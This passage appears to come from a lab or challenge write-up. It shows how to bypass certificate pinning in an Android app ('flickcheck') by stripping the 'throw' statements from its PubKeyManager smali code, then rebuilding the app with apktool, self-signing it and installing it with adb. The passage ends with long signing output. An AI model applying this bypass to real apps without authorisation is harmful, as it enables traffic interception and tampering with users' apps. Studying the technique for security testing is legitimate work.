    const-string v0, "30820122300d06092a864886f70d01010105000382010f003082010a0282010100b7051e2040155a8e78903e325a8680bd680f0c9cbd164225422a6face762db4da9c7fa11687cc10fc1a20ea1e31260525145d5b18e2692e6e61e0b00d14e78fc62d031cafef90d9dc9599527beae644d1ce0af5b4ec21d405544a1c4a69fc39704e5897791c407f5e77c8bc195be7bcdb6fb30da1f2485d8853c9ce40ebc834e5d7c5c81f052ad03a57921aa940d6b928a0cee39979398e84d9cbf57565109f42f9634db46211f65b89fb9c7375e5a9810c0a89d10b7b6d9301eab716102e35ffe09ae29f764bc2527534e68381306fb7a984c208baa00090b65f4c44d0ace781cd9779130b9e4ea1a54c8bc3c1e9fa31855ebf57f72815775bba604ed6d41290203010001"

    sput-object v0, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    return-void

    .line 13
    :cond_0
    const/4 v0, 0x0

    goto :goto_0
.end method

.method public constructor ()V
    .locals 0

    .prologue
    .line 13
    invoke-direct {p0}, Ljava/lang/Object;->()V

    return-void
.end method


# virtual methods
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    .param p1, "xcs"    # [Ljava/security/cert/X509Certificate;
    .param p2, "string"    # Ljava/lang/String;

    .prologue
    .line 71
    return-void
.end method

.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 6
    .param p1, "chain"    # [Ljava/security/cert/X509Certificate;
    .param p2, "authType"    # Ljava/lang/String;
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/security/cert/CertificateException;
        }
    .end annotation

    .prologue
    .line 32
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_0

    if-nez p1, :cond_0

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 33
    :cond_0
    if-nez p1, :cond_1

    .line 34
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate array is null"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    throw v3

    .line 38
    :cond_1
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_2

    array-length v3, p1

    if-gtz v3, :cond_2

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 39
    :cond_2
    array-length v3, p1

    if-gtz v3, :cond_3

    .line 40
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate is empty"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    throw v3

    .line 54
    :cond_3
    const/4 v3, 0x0

    aget-object v3, p1, v3

    invoke-virtual {v3}, Ljava/security/cert/X509Certificate;->getPublicKey()Ljava/security/PublicKey;

    move-result-object v2

    check-cast v2, Ljava/security/interfaces/RSAPublicKey;

    .line 55
    .local v2, "pubkey":Ljava/security/interfaces/RSAPublicKey;
    new-instance v3, Ljava/math/BigInteger;

    const/4 v4, 0x1

    invoke-interface {v2}, Ljava/security/interfaces/RSAPublicKey;->getEncoded()[B

    move-result-object v5

    invoke-direct {v3, v4, v5}, Ljava/math/BigInteger;->(I[B)V

    const/16 v4, 0x10

    invoke-virtual {v3, v4}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;

    move-result-object v0

    .line 59
    .local v0, "encoded":Ljava/lang/String;
    sget-object v3, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z

    move-result v1

    .line 60
    .local v1, "expected":Z
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_4

    if-nez v1, :cond_4

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

    .line 61
    :cond_4
    if-nez v1, :cond_5

    .line 62
    new-instance v3, Ljava/security/cert/CertificateException;

    new-instance v4, Ljava/lang/StringBuilder;

    invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

    const-string v5, "checkServerTrusted: Expected public key: "

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    sget-object v5, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    const-string v5, ", got public key:"

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v4

    invoke-direct {v3, v4}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V

    throw v3

    .line 66
    :cond_5
    return-void
.end method

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1

    .prologue
    .line 76
    const/4 v0, 0x0

    return-object v0
.end method

So goto, much complex, such complicated, so wow!

This brings the next question:

b) How to disable the Certificate Pinning check?

Lets look closely again at the code that calls the PubKeyManager() function in jadx:

functioncall2Aha an exception catcher logic!

Once again the PubKeyManager Function:

pubkeymanager2

 

So the program logic is, that everything works well as long as the PubKeyManager() Function does not throw an exception!

Now what did i see all over the smali code of the PubKeyManager.smali file?

 new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    throw v3

Crazy thought: What if I just remove all “throw” statements in the PubKeyManager.smali file?

The resulting code looks like this:

MahcBook-Pro:flickcheck sebastianbrabetz$ cat PubKeyManager.smali 
.class public final Lcom/flick/flickcheck/PubKeyManager;
.super Ljava/lang/Object;
.source "PubKeyManager.java"

# interfaces
.implements Ljavax/net/ssl/X509TrustManager;


# static fields
.field static final synthetic $assertionsDisabled:Z

.field private static PUB_KEY:Ljava/lang/String;


# direct methods
.method static constructor ()V
    .locals 1

    .prologue
    .line 13
    const-class v0, Lcom/flick/flickcheck/PubKeyManager;

    invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z

    move-result v0

    if-nez v0, :cond_0

    const/4 v0, 0x1

    :goto_0
    sput-boolean v0, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    .line 17
    const-string v0, "30820122300d06092a864886f70d01010105000382010f003082010a0282010100b7051e2040155a8e78903e325a8680bd680f0c9cbd164225422a6face762db4da9c7fa11687cc10fc1a20ea1e31260525145d5b18e2692e6e61e0b00d14e78fc62d031cafef90d9dc9599527beae644d1ce0af5b4ec21d405544a1c4a69fc39704e5897791c407f5e77c8bc195be7bcdb6fb30da1f2485d8853c9ce40ebc834e5d7c5c81f052ad03a57921aa940d6b928a0cee39979398e84d9cbf57565109f42f9634db46211f65b89fb9c7375e5a9810c0a89d10b7b6d9301eab716102e35ffe09ae29f764bc2527534e68381306fb7a984c208baa00090b65f4c44d0ace781cd9779130b9e4ea1a54c8bc3c1e9fa31855ebf57f72815775bba604ed6d41290203010001"

    sput-object v0, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    return-void

    .line 13
    :cond_0
    const/4 v0, 0x0

    goto :goto_0
.end method

.method public constructor ()V
    .locals 0

    .prologue
    .line 13
    invoke-direct {p0}, Ljava/lang/Object;->()V

    return-void
.end method


# virtual methods
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    .param p1, "xcs"    # [Ljava/security/cert/X509Certificate;
    .param p2, "string"    # Ljava/lang/String;

    .prologue
    .line 71
    return-void
.end method

.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 6
    .param p1, "chain"    # [Ljava/security/cert/X509Certificate;
    .param p2, "authType"    # Ljava/lang/String;
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/security/cert/CertificateException;
        }
    .end annotation

    .prologue
    .line 32
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_0

    if-nez p1, :cond_0

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 33
    :cond_0
    if-nez p1, :cond_1

    .line 34
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate array is null"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    .line 38
    :cond_1
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_2

    array-length v3, p1

    if-gtz v3, :cond_2

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 39
    :cond_2
    array-length v3, p1

    if-gtz v3, :cond_3

    .line 40
    new-instance v3, Ljava/lang/IllegalArgumentException;

    const-string v4, "checkServerTrusted: X509Certificate is empty"

    invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V

    .line 54
    :cond_3
    const/4 v3, 0x0

    aget-object v3, p1, v3

    invoke-virtual {v3}, Ljava/security/cert/X509Certificate;->getPublicKey()Ljava/security/PublicKey;

    move-result-object v2

    check-cast v2, Ljava/security/interfaces/RSAPublicKey;

    .line 55
    .local v2, "pubkey":Ljava/security/interfaces/RSAPublicKey;
    new-instance v3, Ljava/math/BigInteger;

    const/4 v4, 0x1

    invoke-interface {v2}, Ljava/security/interfaces/RSAPublicKey;->getEncoded()[B

    move-result-object v5

    invoke-direct {v3, v4, v5}, Ljava/math/BigInteger;->(I[B)V

    const/16 v4, 0x10

    invoke-virtual {v3, v4}, Ljava/math/BigInteger;->toString(I)Ljava/lang/String;

    move-result-object v0

    .line 59
    .local v0, "encoded":Ljava/lang/String;
    sget-object v3, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z

    move-result v1

    .line 60
    .local v1, "expected":Z
    sget-boolean v3, Lcom/flick/flickcheck/PubKeyManager;->$assertionsDisabled:Z

    if-nez v3, :cond_4

    if-nez v1, :cond_4

    new-instance v3, Ljava/lang/AssertionError;

    invoke-direct {v3}, Ljava/lang/AssertionError;->()V

    .line 61
    :cond_4
    if-nez v1, :cond_5

    .line 62
    new-instance v3, Ljava/security/cert/CertificateException;

    new-instance v4, Ljava/lang/StringBuilder;

    invoke-direct {v4}, Ljava/lang/StringBuilder;->()V

    const-string v5, "checkServerTrusted: Expected public key: "

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    sget-object v5, Lcom/flick/flickcheck/PubKeyManager;->PUB_KEY:Ljava/lang/String;

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    const-string v5, ", got public key:"

    invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v4

    invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v4

    invoke-direct {v3, v4}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V

    .line 66
    :cond_5
    return-void
.end method

.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1

    .prologue
    .line 76
    const/4 v0, 0x0

    return-object v0
.end method

No more exceptions beeing thrown that can be catched \o/

Now packing this up again with apktool:

MahcBook-Pro:temp sebastianbrabetz$ ../path/to/apktool b flick-check-dist/ -o flick-hacked.apk
I: Using Apktool 2.2.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
MahcBook-Pro:temp sebastianbrabetz$ ls -l
total 2128
drwxr-xr-x  8 sebastianbrabetz  staff      272 25 Dez 17:13 flick-check-dist
-rw-r--r--  1 sebastianbrabetz  staff  1086587 25 Dez 17:13 flick-hacked.apk

Now lets uninstall the original application:

uninstall-orig-app

 

And install the our newly compiled, certificate pinning free BadBoy:

MahcBook-Pro:temp sebastianbrabetz$ /path/to/Library/Android/sdk/platform-tools/adb install ~/temp/flick-hacked.apk 
963 KB/s (1086587 bytes in 1.101s)
	pkg: /data/local/tmp/flick-hacked.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]

Yet another problem! We first need to sign the APK (a selfsigned cert will suffice).

Here are 2 Simple steps to create yourself a certificate keystore and sign with it:

1. keystore erstellen (osx):
keytool -genkey -keystore (name).keystore -validity 10000 -alias (name)

2. sign app:
jarsigner -keystore (keystorenamename).keystore -verbose APK-NAME.apk (keystorename)

In my case it looks like this:

MahcBook-Pro:temp sebastianbrabetz$ jarsigner -keystore ~/path/to/test.keystore -verbose flick-hacked.apk test
Enter Passphrase for keystore: ******
   adding: META-INF/MANIFEST.MF
   adding: META-INF/TEST.SF
   adding: META-INF/TEST.DSA
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: res/anim/abc_fade_in.xml
  signing: res/anim/abc_fade_out.xml
  signing: res/anim/abc_grow_fade_in_from_bottom.xml
  signing: res/anim/abc_shrink_fade_out_from_bottom.xml
  signing: res/anim/abc_slide_in_bottom.xml
  signing: res/anim/abc_slide_in_top.xml
  signing: res/anim/abc_slide_out_bottom.xml
  signing: res/anim/abc_slide_out_top.xml
  signing: res/color/abc_background_cache_hint_selector_material_dark.xml
  signing: res/color/abc_background_cache_hint_selector_material_light.xml
  signing: res/color/abc_primary_text_disable_only_material_dark.xml
  signing: res/color/abc_primary_text_disable_only_material_light.xml
  signing: res/color/abc_primary_text_material_dark.xml
  signing: res/color/abc_primary_text_material_light.xml
  signing: res/color/abc_search_url_text.xml
  signing: res/color/abc_secondary_text_material_dark.xml
  signing: res/color/abc_secondary_text_material_light.xml
  signing: res/drawable-hdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-hdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-hdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-hdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-hdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-hdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-hdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-hdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-hdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-hdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-hdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-hdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-hdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-hdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-hdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-mdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-ldrtl-xxxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-mdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-mdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-mdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-mdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-mdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-mdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-mdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-mdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-mdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-mdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-mdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-mdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-mdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-mdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-mdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-tvdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-tvdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-v21/abc_cab_background_top_material.xml
  signing: res/drawable-xhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xhdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xhdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-xhdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-xhdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-xhdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-xhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-xhdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-xhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-xhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xxhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xxhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xxhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xxhdpi-v4/abc_btn_rating_star_off_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_btn_rating_star_on_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
  signing: res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_ic_ab_back_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_clear_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_commit_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_go_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_copy_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_cut_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_moreoverflow_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_paste_mtrl_am_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_selectall_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_menu_share_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_ic_voice_search_api_mtrl_alpha.png
  signing: res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png
  signing: res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png
  signing: res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png
  signing: res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png
  signing: res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png
  signing: res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_check_to_on_mtrl_000.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_check_to_on_mtrl_015.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_radio_to_on_mtrl_000.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_radio_to_on_mtrl_015.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png
  signing: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png
